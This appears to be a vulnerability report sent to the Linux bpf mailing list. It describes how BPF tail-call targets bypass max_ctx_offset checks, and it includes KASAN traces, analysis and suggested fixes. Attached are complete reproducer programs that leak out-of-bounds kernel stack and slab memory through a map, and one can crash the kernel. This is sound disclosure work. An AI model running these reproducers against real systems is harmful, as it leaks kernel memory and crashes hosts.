From mboxrd@z Thu Jan 1 00:00:00 1970 Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.remote-ip=74.125.82.176 ARC-Seal: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; cv=none; t=1796461591; b=5fpdvNkNJmhZRooOHR3XGh5gYKfkbo1bBv4zQyooVqOxE3m496IS4X9rIqa2cozM2mVI OLHsjrVO+I5P0CIhA55AGiTwRSW+5s1j1I8Ze6ArTt7kvb6b+jXFcbvBA73ZG+Eh6XAAm OP1Ep760wGIQa0OuwMur8tHLYeuq/v1KRXs5h7+q1b0/vcs/T6V+dwje8ACrkcDXmg930 OqLD4UgtQlv4PX0traenfYr5OdDp0YTi4J+uFsNzACxNnZL47bL6E4h301mkKv0p3218h PYPnducafy7L/DOYU80AYzHK3q3L0qscPDRjBK1avBqxB3Hh0xzhpfw8vZ/RLz1v5Og== ARC-Message-Signature: i=1; d=subspace.kernel.org; s=arc20261015; a=rsa-sha256; c=relaxed/relaxed; t=1796461591; h=DMARC-Filter:Received:X-Google-DKIM-Signature:X-Gm-Message-State: X-Gm-Gg:X-Received:Received:Date:From:To:Cc:Subject:Message-ID: MIME-Version:Content-Type:Content-Disposition; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=o6dVbRCvrDkJ3x3pAZDU5UaHxCGxJWg38WnfNi3iVtNFmIA5GayggKn4WbS4GfyTWmZt kfQmFJw+Mg6FujFA9yYzjOjw3N3jhI4kvC0py7OAShPVVJYsGSz2TUJZ6ZtO6yEtnKne6 +8Q75g2g0YUR+CYrqCyyrNVUMQZf09B+plfdqdk/bRR7441kYucMzFmNtc6Qv9dUTp+QS 7Ug7gruqkFldUIfagLWHA0KHMd72kXtvCpfRHxQRB5YBGKparAjfHPykMVjqkkrpkAwPg llx+jQBtmUlTPGCAy+GUoK4MkUSG1gy98Hz+LrTE9k2xYAfv7Z1fwZm4m9lNIg0hMog== ARC-Authentication-Results: i=1; smtp.subspace.kernel.org; dmarc=fail header.from=ubuntu.com; spf=pass smtp.mailfrom=gmail.com; arc=none smtp.remote-ip=74.125.82.176 Received: from mail-dy1-f176.google.com (mail-dy1-f176.google.com [74.125.82.176]) (using TLSv1.3 with cipher TLS_AES_128_GCM_SHA256 (128/128 bits) key-exchange X25519 server-signature ECDSA (prime256v1) server-digest SHA256) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 89732606A332 for ; Sat, 5 Dec 2026 09:06:30 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.4.2 smtp.subspace.kernel.org 89732606A332 Authentication-Results: smtp.subspace.kernel.org; dmarc=fail (p=none dis=none) header.from=ubuntu.com Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=gmail.com Received: by mail-dy1-f176.google.com with SMTP id 5a478bee46e88-386ab9ab619so2844746eec.1 for ; Sat, 05 Dec 2026 01:06:30 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20260707; t=1796461589; x=1797066389; h=content-disposition:content-type:mime-version:message-id:subject:cc :to:from:date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=iByrmULCui+Qp5hnkPh0S/OOUo+iBQXs4pe0lWwfPiM=; b=nAoCX4cFOc0wZ4PxJf9sk6BStfJHzbJY+OVNuC5/A1Rz/xne9XEdjKkp/td2yOmTdK +Ebc7MIi1wpEQMCu+5P6f4BbpApnF2EAH1c8SuJFDFimitu8V8jW0JZC1oYcRsgK8Ylh B2ct0NAG2NUL8nOGVI+bE5sqf6Znt/dLR8YJGzF6tueJDkjIG4y2W6TkXKqGGyEdqIku SXBQhbVb0Abzt6R3Yrn12PkFJykNgR/8+T3svt5DWkGEGhiiHDzzpxoSmakjMrvUMcZt RAmOqp7WCocD7ElAl+lwp7SOzEI5/9WLAoB6IMel2w/RRky5Su/oBtBR+TV7d+iiu/77 pmKg== X-Gm-Message-State: APuU4Z/nDtLUe5pbkPeI/PvOpl+XYeKN/JccBBi3yvt6xG4COqA999IJ zY1EeHjuseVuYKhcQfWDZZzlSNiHvgpemaozHFXB6phmll45y+WSsuOyhEnwAg== X-Gm-Gg: AZFdTZevRGnUx7dwzD7/G/9o8vgMeN14hI5iC5Ywabu/m9MjjGQHSQeZjI4mfP4pnbx rOw9NsaVfs/4ZziH/dKh0c+oE8FAQlaKUMDU1++ulAyzx8IfASeVDKT/YM/zC9vZVkXBz1y72lZ cwcGSwPgv4/tyuHWGCfWQVjBeudIvUKM1wqWvCzheR95CVTvO2dQ724SfIFyT6lnpol0fJCVg5t 7QUMpYGxIq6xgpTZVGc05B1I9rczh7hr9PCB1aacLX+t3loUoErNO3ouUt2zLT1cEdfBbqaXQ9Z z/1OdeGb3JhM62cfg9i4UsGTWsQDfMUdkI4RLoSadxcoikl7DyijImXQP08Qrptp9esRRppJmzn TqDiFNuIDZST1Dn1P62iSFNAf+KRWdMoymz17LqxlMO3yBQn8XetclvZ8/ENtyPgJwJojr/jAjx mDHPzcIi3A5Kawlqd0vw5+DrEEU1ZXDpbn4s3RlMhGMb2VsU1Kceqn60LFhguGgCCtT7i8UOArz G6nud/JfdGF846licr0rKaG52ao0j8QyzTWoXWHdCK36BTGm82ZYvkmiyq9CW7jQqm0s7gxzqA1 4wF+IREcZr8GNmM= X-Received: by 2002:a05:701a:ccce:20b0:1b5:a8b5:34f with SMTP id a92af1059eb24-1b5d710abf9mr4008055c88.15.1796461589019; Sat, 05 Dec 2026 01:06:29 -0800 (PST) Received: from x1c ([2406:7400:bb:fb44:feef:834d:2032:98d5]) by smtp.gmail.com with ESMTPSA id a92af1059eb24-1b5d6455949sm14883572c88.9.2026.12.05.01.06.24 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sat, 05 Dec 2026 01:06:28 -0800 (PST) Date: Sat, 5 Dec 2026 14:36:20 +0530 From: Pragyansh Chaturvedi To: bpf@vger.kernel.org Cc: varunrmallya@gmail.com, kc@kcsrk.info, ngs@cse.iitm.ac.in, ast@kernel.org, daniel@iogearbox.net, andrii@kernel.org, eddyz87@gmail.com, yonghong.song@linux.dev, memxor@gmail.com, netdev@vger.kernel.org, linux-kselftest@vger.kernel.org Subject: bpf: tail-call targets bypass max_ctx_offset checks (OOB read, KASAN splats) Message-ID: X-Mailing-List: bpf@vger.kernel.org List-Id: List-Post: List-Help: List-Subscribe: List-Unsubscribe: List-Owner: Precedence: list MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="PD/GQNepS9SeH0VD" Content-Disposition: inline --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Subject: bpf: tail-call targets bypass max_ctx_offset checks on raw_tp and tracepoint paths (OOB read, KASAN splat) The verifier records the furthest ctx byte a program may read in prog->aux->max_ctx_offset, and the raw_tp test_run, raw_tp attach, and tracepoint attach paths each refuse a program whose max_ctx_offset exceeds the ctx actually available. Every one of those checks looks only at the program being run or attached; a PROG_ARRAY tail-call target is never checked. A caller that never touches ctx keeps max_ctx_offset = 0, passes the gate, and tail-calls a target that reads far past the real buffer. Commit 08c987904970 ("bpf: Give a syscall program the largest context when it does tail calls") closed this for the SYSCALL test_run path only. Verified live on bpf-next HEAD 289cd43f93ed (2026-12-03, Linux 7.4.0-rc4), x86-64, KASAN + BPF_JIT_KASAN. ---------------------------------------------------------------------- Path 1: raw_tp test_run (net/bpf/test_run.c, bpf_prog_test_run_raw_tp) ctx = memdup_user(ctx_in, ctx_size_in) with no tail_call_reachable padding. Caller (max_ctx_offset 0) -> mid -> target (reads 96 bytes): BUG: KASAN: slab-out-of-bounds in bpf_prog_..._target+0x2a/0x259 Read of size 8 at addr ffff88810486a818 by task ld-linux-x86-64/104 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2a/0x259 __bpf_prog_test_run_raw_tp+0x5b8/0x900 bpf_prog_test_run_raw_tp+0x42f/0x7e0 __sys_bpf+0x114e/0x5420 __x64_sys_bpf+0xd5/0x1f0 The buggy address belongs to the cache memdup_user-8 of size 8 The buggy address is located 16 bytes to the right of allocated 8-byte region [ffff88810486a800, ffff88810486a808) ---------------------------------------------------------------------- Path 2: raw_tp attach (kernel/trace/bpf_trace.c, bpf_probe_register) Caller attached to sched_switch (3 args, 24-byte stack buffer) tail-calls a target reading 96 bytes: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x2e0/0x775 Read of size 8 at addr ffffc9000064f200 by task ld-linux-x86-64/112 Not tainted 7.4.0-rc4-g289cd43f93ed #4 bpf_prog_..._target+0x2e0/0x775 bpf_trace_run4+0x641/0xaa0 __schedule+0x1735/0x40f0 The buggy address belongs to stack of task ld-linux-x86-64/112 and is located at offset 128 in frame: This frame has 2 objects: [32, 64) 'run_ctx' [96, 128) 'args' <- read starts at the first byte past 'args' ---------------------------------------------------------------------- Path 3: tracepoint attach (kernel/events/core.c, __perf_event_set_bpf_prog; check is max_ctx_offset > tp arg size, attached program only). Caller on sys_enter_nanosleep (32-byte stack buffer). With an 800-byte read the target program trips KASAN and then crashes the kernel, on a clean boot: BUG: KASAN: stack-out-of-bounds in bpf_prog_..._target+0x4ae/0x211e Read of size 8 at addr ffffc9000067fda0 by task ld-linux-x86-64/105 Not tainted 7.4.0-rc4-g289cd43f93ed-dirty #5 bpf_prog_..._target+0x4ae/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_call_bpf_enter+0x167/0x2b0 perf_syscall_enter+0x334/0xcd0 trace_syscall_enter+0x62/0xb0 do_syscall_64+0x41f/0x4d0 BUG: unable to handle page fault for address: ffffc90000680000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page Oops: 0000 [#1] SMP KASAN NOPTI RIP: 0010:bpf_prog_..._target+0x1de7/0x211e trace_call_bpf_faultable+0x745/0xaf0 perf_syscall_enter+0x334/0xcd0 Note that trace_call_bpf_faultable() does not contain the read: the JITed target's plain ctx loads are not covered by the faultable wrapper, so the window runs off the task's vmalloc stack into the guard page. This variant is therefore both a silent infoleak at small windows and a reliable kernel crash at larger ones. ---------------------------------------------------------------------- Reproducers (CAP_BPF+CAP_PERFMON): make && ./rawtp_chain_leak ; ./rawtp_attach_leak ; ./tp_attach_bypass [sources attached] ---------------------------------------------------------------------- Analysis: All three gates validate only the attached/run program: net/bpf/test_run.c:796 ctx_size_in < prog->aux->max_ctx_offset net/bpf/test_run.c:808 memdup_user(ctx_in, ctx_size_in), no pad kernel/trace/bpf_trace.c:2209 max_ctx_offset > num_args*8 (attach) kernel/events/core.c:11896 max_ctx_offset > off (attach) prog_fd_array_get_ptr() / __bpf_prog_map_compatible() gate tail-call targets on program type, sleepable, hook key, cgroup storage, but never on max_ctx_offset.vmax_ctx_offset was never added to that list. 08c987904970 fixed the SYSCALL test_run instance of the same field, but the other three paths were out of its scope. Suggested fix: Path 1: apply 08c987904970's treatment to bpf_prog_test_run_raw_tp() (kvzalloc + pad to the max when the run program is tail_call_reachable, mirroring the syscall path's ctx_size_in < U16_MAX rejection). Paths 2+3 are the design question: the buffer size is a property of the hook, the requirement a property of arbitrary future tail-call targets. Options: (a) inflate the caller's max_ctx_offset to U32_MAX when it contains bpf_tail_call (the fixup_tail_calls pattern; correct but makes every tail-calling raw_tp/tp program unattachable). (b) zero-pad the on-stack arg buffers (bpf_trace_runN, perf/tp enter) for tail-call-reachable callers. (c) carry the real ctx size in the run context and bounds-check at tail-call entry. The gap exists since PROG_ARRAY tail calls (04fd61ab36ec, 2015) met the max_ctx_offset checks. Every current release and bpf-next HEAD have it. Thanks Pragyansh and Varun --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 2); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int mid(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 1); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) sink += a[i]; return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_chain_leak.c" // SPDX-License-Identifier: GPL-2.0 /* raw_tp chain caller->mid->target reads 96 bytes from an 8-byte test_run ctx. */ #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_chain_leak.bpf.o"; unsigned char ctx[8] = { 1, 2, 3, 4, 5, 6, 7, 8 }; struct bpf_object *obj; int map_fd, cfd, tfd, k; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); cfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "caller")); k = 0; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "mid")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); k = 1; tfd = bpf_program__fd(bpf_object__find_program_by_name(obj, "target")); bpf_map_update_elem(map_fd, &k, &tfd, BPF_ANY); LIBBPF_OPTS(bpf_test_run_opts, o, .ctx_in = ctx, .ctx_size_in = sizeof(ctx)); printf("target direct: %s\n", bpf_prog_test_run_opts(tfd, &o) ? strerror(errno) : "accepted"); printf("via chain: %s\n", bpf_prog_test_run_opts(cfd, &o) ? strerror(errno) : "accepted"); return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 96 bytes it reads via `out`. * sched_switch raw_tp has 3 args = 24 bytes; indices >= 3 are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 12); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("raw_tracepoint/sched_switch") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("raw_tracepoint/sched_switch") int target(void *ctx) /* max_ctx_offset = 96; sched_switch has 3 args */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 0; i < 12; i++) { __u32 k = i; __u64 v = a[i]; sink += v; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="rawtp_attach_leak.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 3 (byte >= 24) are OOB. */ #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "rawtp_attach_leak.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_raw_tracepoint(target, "sched_switch") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_raw_tracepoint(caller, "sched_switch")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); usleep(100000); for (int i = 0; i < 12; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 3 ? " <- OOB (past 24-byte arg buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.bpf.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: target exfiltrates the 248 bytes it reads via `out`. * sys_enter_nanosleep tp buffer: 8B common + 8B nr + 2 args = 32 bytes; * indices >= 4 (byte offset >= 32) are OOB. */ #include #include struct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, __u32); } jmp_table SEC(".maps"); struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 32); __type(key, __u32); __type(value, __u64); } out SEC(".maps"); __u64 sink; SEC("tracepoint/syscalls/sys_enter_nanosleep") int caller(void *ctx) /* max_ctx_offset = 0 */ { bpf_tail_call(ctx, &jmp_table, 0); return 0; } SEC("tracepoint/syscalls/sys_enter_nanosleep") int target(void *ctx) /* max_ctx_offset = 256 */ { __u64 *a = ctx; #pragma clang loop unroll(full) for (int i = 1; i < 100; i++) { __u64 v = a[i]; sink += v; if (i < 32) { __u32 k = i; bpf_map_update_elem(&out, &k, &v, BPF_ANY); } } return 0; } char LICENSE[] SEC("license") = "GPL"; --PD/GQNepS9SeH0VD Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="tp_attach_bypass.c" // SPDX-License-Identifier: GPL-2.0 /* Modified for verification: dumps the exfiltrated words; indices >= 4 (byte >= 32) are OOB. */ #include #include #include #include #include #include #include #include int main(int argc, char **argv) { const char *path = argc > 1 ? argv[1] : "tp_attach_bypass.bpf.o"; struct bpf_program *caller, *target; struct bpf_object *obj; int map_fd, out_fd, tfd, key = 0; obj = bpf_object__open_file(path, NULL); if (libbpf_get_error(obj) || bpf_object__load(obj)) return perror("load"), 1; caller = bpf_object__find_program_by_name(obj, "caller"); target = bpf_object__find_program_by_name(obj, "target"); map_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "jmp_table")); out_fd = bpf_map__fd(bpf_object__find_map_by_name(obj, "out")); tfd = bpf_program__fd(target); printf("target direct attach: %s\n", bpf_program__attach_tracepoint(target, "syscalls", "sys_enter_nanosleep") ? "ACCEPTED" : strerror(errno)); bpf_map_update_elem(map_fd, &key, &tfd, BPF_ANY); if (!bpf_program__attach_tracepoint(caller, "syscalls", "sys_enter_nanosleep")) return perror("attach caller"), 1; printf("caller attach: ACCEPTED\n"); struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 }; syscall(SYS_nanosleep, &ts, NULL); /* glibc nanosleep() uses clock_nanosleep; we want nr 35 */ for (int i = 1; i < 32; i++) { unsigned long long v = 0; bpf_map_lookup_elem(out_fd, &i, &v); printf(" [%2d] off=%3d 0x%016llx%s\n", i, i * 8, v, i >= 4 ? " <- OOB (past 32-byte tp buffer)" : ""); } return 0; } --PD/GQNepS9SeH0VD Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=Makefile PROGS := rawtp_chain_leak rawtp_attach_leak tp_attach_bypass all: $(PROGS) $(addsuffix .bpf.o,$(PROGS)) %.bpf.o: %.bpf.c clang -O2 -g -target bpf -c $< -o $@ %: %.c $(CC) -O2 -o $@ $< -lbpf -lelf -lz -lzstd clean: rm -f $(PROGS) $(addsuffix .bpf.o,$(PROGS)) .PHONY: all clean --PD/GQNepS9SeH0VD--